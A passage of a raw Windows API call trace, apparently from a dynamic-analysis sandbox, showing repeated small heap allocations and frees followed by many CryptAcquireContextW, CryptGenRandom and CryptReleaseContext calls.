	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.771] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.772] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.772] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.772] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0030.773] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.773] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.776] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.777] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.777] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.777] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.777] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.778] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.778] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.778] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.778] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.778] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.779] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.779] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.779] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.780] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.780] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.780] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0030.781] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.781] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.784] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.785] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.785] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.785] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.786] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.786] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.786] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.786] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.786] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.857] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.858] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.858] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.858] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.859] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.859] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.859] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.860] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.860] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596f48
	[0030.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba730
	[0030.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0030.860] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0030.861] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.861] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.864] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.865] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.865] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.865] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.866] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.866] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.866] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.867] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.867] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.867] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.868] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.868] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.868] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.868] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.868] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.869] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.869] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.869] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.869] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.870] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.870] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.870] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.871] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.871] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.871] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.872] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.872] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.872] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.873] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.873] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.873] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.882] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.882] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.882] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.882] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.882] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.929] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.930] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.930] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.930] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.931] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.931] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.931] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.932] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.932] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.932] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.933] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.933] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.933] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.933] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.933] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.934] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.934] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.934] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.934] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.935] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.935] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.936] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.936] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.936] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.936] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.937] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.937] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.937] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.938] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.938] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.938] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.939] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.939] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.939] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.940] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.940] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.940] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.940] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.941] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.941] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.941] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.941] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.941] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.942] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.942] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.942] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.943] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.943] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.989] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.990] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.990] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.990] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.991] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.991] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.991] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.992] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.992] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.992] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.993] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.993] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.993] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.994] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.994] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.994] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.994] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.994] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.995] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.995] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.995] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
